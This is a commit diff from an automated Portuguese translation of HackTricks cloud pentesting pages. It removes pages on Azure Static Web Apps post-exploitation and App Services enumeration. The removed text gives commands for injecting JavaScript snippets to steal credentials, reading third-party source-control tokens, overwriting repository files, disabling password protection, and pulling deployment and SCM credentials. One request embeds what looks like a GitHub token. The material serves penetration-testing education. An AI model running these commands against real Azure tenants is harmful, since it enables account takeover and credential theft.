Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md

This commit is contained in:
Translator
2025-01-09 08:11:34 +00:00
parent cffda17e44
commit 3819342d48
373 changed files with 2 additions and 550 deletions
@@ -127,3 +127,5 @@ O módulo Azure Active Directory (AD), agora **obsoleto**, é parte do Azure Pow
> Isso é substituído pelo Microsoft Graph PowerShell
Siga este link para as [**instruções de instalação**](https://www.powershellgallery.com/packages/AzureAD).
{{#include ../../banners/hacktricks-training.md}}
@@ -1,162 +0,0 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
Para mais informações sobre este serviço, consulte:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
É possível fazer uma página da web estática carregar código HTML arbitrário criando um snippet. Isso poderia permitir que um atacante injetasse código JS dentro do aplicativo da web e roubasse informações sensíveis, como credenciais ou chaves mnemônicas (em carteiras web3).
O seguinte comando cria um snippet que sempre será carregado pelo aplicativo da web::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Ler Credenciais de Terceiros Configuradas
Conforme explicado na seção App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Executando o seguinte comando, é possível **ler as credenciais de terceiros** configuradas na conta atual. Observe que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de um diferente.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive.
Aqui estão alguns exemplos de comandos para verificar os tokens:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Sobrescrever arquivo - Sobrescrever rotas, HTML, JS...
É possível **sobrescrever um arquivo dentro do repositório do Github** que contém o aplicativo através do Azure, enviando um pedido como o seguinte, que indicará o caminho do arquivo a ser sobrescrito, o conteúdo do arquivo e a mensagem de commit.
Isso pode ser explorado por atacantes para basicamente **mudar o conteúdo do aplicativo web** para servir conteúdo malicioso (roubar credenciais, chaves mnemônicas...) ou apenas para **redirecionar certos caminhos** para seus próprios servidores ao sobrescrever o arquivo `staticwebapp.config.json`.
> [!WARNING]
> Note que se um atacante conseguir comprometer o repositório do Github de qualquer forma, ele também pode sobrescrever o arquivo diretamente do Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
Com esta permissão, é possível **modificar a senha** que protege um aplicativo web estático ou até mesmo desproteger todos os ambientes enviando uma solicitação como a seguinte:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
Esta permissão permite obter o **token de implantação da chave API** para o aplicativo estático.
Este token permite implantar o aplicativo.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Então, para atualizar um aplicativo, você pode executar o seguinte comando. Observe que este comando foi extraído verificando **como o Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funciona**, pois é o que a Azure definiu como padrão para usar. Portanto, a imagem e os parâmetros podem mudar no futuro.
1. Baixe o repositório [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou qualquer outro repositório que você queira implantar) e execute `cd react-basic`.
2. Altere o código que você deseja implantar
3. Implemente-o executando (lembre-se de alterar o `<api-token>`):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
Com esta permissão, é possível **mudar a fonte do aplicativo web estático para um repositório Github diferente**, no entanto, não será provisionado automaticamente, pois isso deve ser feito a partir de uma Github Action, geralmente com o token que autorizou a ação, já que esse token não é atualizado automaticamente dentro dos segredos do Github do repositório (ele é apenas adicionado automaticamente quando o aplicativo é criado).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
Com esta permissão, é possível **reiniciar a chave da API do aplicativo web estático**, potencialmente causando DoS nos fluxos de trabalho que implantam automaticamente o aplicativo.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,269 +0,0 @@
# Az - App Services
{{#include ../../../banners/hacktricks-training.md}}
## Informações Básicas do App Service
Azure App Services permite que os desenvolvedores **construam, implantem e escalem aplicativos web, backends de aplicativos móveis e APIs de forma contínua**. Ele suporta várias linguagens de programação e se integra a várias ferramentas e serviços do Azure para funcionalidade e gerenciamento aprimorados.
Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos planos do App Service.
- Aplicativos nos níveis Free e Shared são executados em VMs compartilhadas.
- Aplicativos nos níveis Standard e Premium são executados em VMs dedicadas.
> [!WARNING]
> Observe que **nenhuma** dessas isolamentos **previne** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**.
Os aplicativos têm algumas configurações interessantes:
- **Always On**: Garante que o aplicativo esteja sempre em execução. Se não estiver habilitado, o aplicativo parará de funcionar após 20 minutos de inatividade e reiniciará quando uma solicitação for recebida.
- Isso é essencial se você tiver um webjob que precisa ser executado continuamente, pois o webjob parará se o aplicativo parar.
- **SSH**: Se habilitado, um usuário com permissões suficientes pode se conectar ao aplicativo usando SSH.
- **Debugging**: Se habilitado, um usuário com permissões suficientes pode depurar o aplicativo. No entanto, isso é desativado automaticamente a cada 48h.
- **Web App + Database**: O console web permite criar um aplicativo com um banco de dados. Nesse caso, é possível selecionar o banco de dados a ser usado (SQLAzure, PostgreSQL, MySQL, MongoDB) e também permite criar um Azure Cache para Redis.
- A URL contendo as credenciais para o banco de dados e Redis será armazenada nas **appsettings**.
- **Container**: É possível implantar um contêiner no App Service indicando a URL do contêiner e as credenciais para acessá-lo.
## Autenticação Básica
Ao criar um aplicativo web (e uma função do Azure geralmente), é possível indicar se você deseja que a Autenticação Básica seja habilitada. Isso basicamente **habilita SCM e FTP** para a aplicação, então será possível implantar a aplicação usando essas tecnologias.\
Além disso, para se conectar a eles, o Azure fornece uma **API que permite obter o nome de usuário, senha e URL** para se conectar aos servidores SCM e FTP.
É possível se conectar ao SCM usando um navegador da web em `https://<SMC-URL>/BasicAuth` e verificar todos os arquivos e implantações lá.
### Kudu
Kudu é um **motor de implantação e plataforma de gerenciamento para Azure App Service e Function Apps**, fornecendo implantações baseadas em Git, depuração remota e capacidades de gerenciamento de arquivos para aplicativos web. É acessível através da URL SCM do aplicativo web.
Observe que as versões do Kudu usadas pelos App Services e pelos Function Apps são diferentes, sendo a versão dos Function Apps muito mais limitada.
Alguns endpoints interessantes que você pode encontrar no Kudu são:
- `/DebugConsole`: Um console que permite executar comandos no ambiente onde o Kudu está sendo executado.
- Observe que este ambiente **não tem acesso** ao serviço de metadados para obter tokens.
- `/webssh/host`: Um cliente SSH baseado na web que permite conectar-se dentro do contêiner onde o aplicativo está sendo executado.
- Este ambiente **tem acesso ao serviço de metadados** para obter tokens das identidades gerenciadas atribuídas.
- `/Env`: Obter informações sobre o sistema, configurações do aplicativo, variáveis de ambiente, strings de conexão e cabeçalhos HTTP.
- `/wwwroot/`: O diretório raiz do aplicativo web. Você pode baixar todos os arquivos daqui.
## Fontes
Os App Services permitem fazer upload do código como um arquivo zip por padrão, mas também permitem conectar-se a um serviço de terceiros e obter o código de lá.
- As fontes de terceiros atualmente suportadas são **Github** e **Bitbucket**.
- Você pode obter os tokens de autenticação executando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- O Azure, por padrão, configurará uma **Github Action** para implantar o código no App Service toda vez que o código for atualizado.
- Também é possível indicar um **repositório git remoto** (com nome de usuário e senha) para obter o código de lá.
- Você pode obter as credenciais para o repositório remoto executando `az webapp deployment source show --name <app-name> --resource-group <res-group>` ou `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Também é possível usar um **Azure Repository**.
- Também é possível configurar um **repositório git local**.
- Você pode obter a URL do repositório git com `az webapp deployment source show --name <app-name> --resource-group <res-group>` e será a URL SCM do aplicativo.
- Para cloná-lo, você precisará das credenciais SCM que pode obter com `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
## Webjobs
Azure WebJobs são **tarefas em segundo plano que são executadas no ambiente do Azure App Service**. Eles permitem que os desenvolvedores executem scripts ou programas ao lado de seus aplicativos web, facilitando o manuseio de operações assíncronas ou intensivas em tempo, como processamento de arquivos, manipulação de dados ou tarefas agendadas. Existem 2 tipos de web jobs:
- **Contínuo**: Executa indefinidamente em um loop e é acionado assim que é criado. É ideal para tarefas que requerem processamento constante. No entanto, se o aplicativo parar de funcionar porque o Always On está desativado e não recebeu uma solicitação nos últimos 20 minutos, o web job também parará.
- **Acionado**: Executa sob demanda ou com base em um cronograma. É mais adequado para tarefas periódicas, como atualizações de dados em lote ou rotinas de manutenção.
Webjobs são muito interessantes do ponto de vista de um atacante, pois podem ser usados para **executar código** no ambiente e **escalar privilégios** para as identidades gerenciadas anexadas.
Além disso, é sempre interessante verificar os **logs** gerados pelos Webjobs, pois podem conter **informações sensíveis**.
### Slots
Os Slots do Azure App Service são usados para **implantar diferentes versões da aplicação** no mesmo App Service. Isso permite que os desenvolvedores testem novos recursos ou alterações em um ambiente separado antes de implantá-los no ambiente de produção.
Além disso, é possível direcionar uma **porcentagem do tráfego** para um slot específico, o que é útil para **testes A/B** e para fins de backdoor.
### Azure Function Apps
Basicamente, **Azure Function apps são um subconjunto do Azure App Service** na web e, se você acessar o console web e listar todos os serviços de aplicativo ou executar `az webapp list` no az cli, você poderá **ver os Function apps também listados aqui**.
Na verdade, alguns dos **recursos relacionados à segurança** que os App Services usam (`webapp` no az cli) **também são usados pelos Function apps**.
### Enumeração
{{#tabs }}
{{#tab name="az" }}
```bash
# List webapps
az webapp list
## Less information
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
## Get SCM URL of each webapp
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
# Get info about 1 app
az webapp show --name <name> --resource-group <res-group>
# Get instances of a webapp
az webapp list-instances --name <name> --resource-group <res-group>
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
# Get access restrictions of an app
az webapp config access-restriction show --name <name> --resource-group <res-group>
# Remove access restrictions
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
# Get connection strings of a webapp
az webapp config connection-string list --name <name> --resource-group <res-group>
# Get appsettings of an app
az webapp config appsettings list --name <name> --resource-group <res-group>
# Get SCM and FTP credentials
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
# Get configured Auth information
az webapp auth show --name <app-name> --resource-group <res-group>
# Get backups of a webapp
az webapp config backup list --webapp-name <name> --resource-group <res-group>
# Get backups scheduled for a webapp
az webapp config backup show --webapp-name <name> --resource-group <res-group>
# Get snapshots
az webapp config snapshot list --resource-group <res-group> -n <name>
# Restore snapshot
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
# Get slots
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
# Get traffic-routing
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
# Get used container by the app
az webapp config container show --name <name> --resource-group <res-group>
# Get storage account configurations of a webapp
az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
# Read webjobs logs with Azure permissions
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Read webjobs logs with SCM credentials
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
--user '<username>:<password>' -v
# Get connections of a webapp
az webapp conection list --name <name> --resource-group <res-group>
# Get hybrid-connections of a webapp
az webapp hybrid-connections list --name <name> --resource-group <res-group>
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
```
{{#endtab }}
{{#tab name="az get all" }}
```bash
#!/bin/bash
# Get all App Service and Function Apps
# Define Azure subscription ID
azure_subscription="your_subscription_id"
# Log in to Azure
az login
# Select Azure subscription
az account set --subscription $azure_subscription
# Get all App Services in the specified subscription
list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv)
# Iterate over each App Service
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
# Get the type of the App Service
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
# Check if it is a Function App and print its name
if [ "$service_type" == "functionapp" ]; then
echo "Function App Name: $appServiceName"
fi
done
```
{{#endtab }}
{{#endtabs }}
#### Obter credenciais e acessar o código da webapp
```bash
# Get connection strings that could contain credentials (with DBs for example)
az webapp config connection-string list --name <name> --resource-group <res-group>
## Check how to use the DBs connection strings in the SQL page
# Get credentials to access the code and DB credentials if configured.
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Access/Modify the code via git
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
## In my case the username was: $nameofthewebapp and the password some random chars
## If you change the code and do a push, the app is automatically redeployed
```
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## Exemplos para gerar Aplicativos Web
### Python localmente
Este tutorial é baseado no disponível em [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
```bash
# Clone repository
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
Fazendo login no portal SCM ou acessando via FTP, é possível ver em `/wwwroot` o arquivo compactado `output.tar.gz` que contém o código da webapp.
> [!TIP]
> Apenas conectar via FTP e modificar o arquivo `output.tar.gz` não é suficiente para alterar o código executado pela webapp.
**Um atacante poderia baixar este arquivo, modificá-lo e enviá-lo novamente para executar código arbitrário na webapp.**
### Python do Github
Este tutorial é baseado no anterior, mas usando um repositório do Github.
1. Faça um fork do repositório msdocs-python-flask-webapp-quickstart na sua conta do Github.
2. Crie uma nova Web App em Python no Azure.
3. No `Deployment Center`, altere a fonte, faça login com o Github, selecione o repositório forkado e clique em `Save`.
Como no caso anterior, fazendo login no portal SCM ou acessando via FTP, é possível ver em `/wwwroot` o arquivo compactado `output.tar.gz` que contém o código da webapp.
> [!TIP]
> Apenas conectar via FTP e modificar o arquivo `output.tar.gz` e reativar uma implantação não é suficiente para alterar o código executado pela webapp.
## Referências
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
{{#include ../../../banners/hacktricks-training.md}}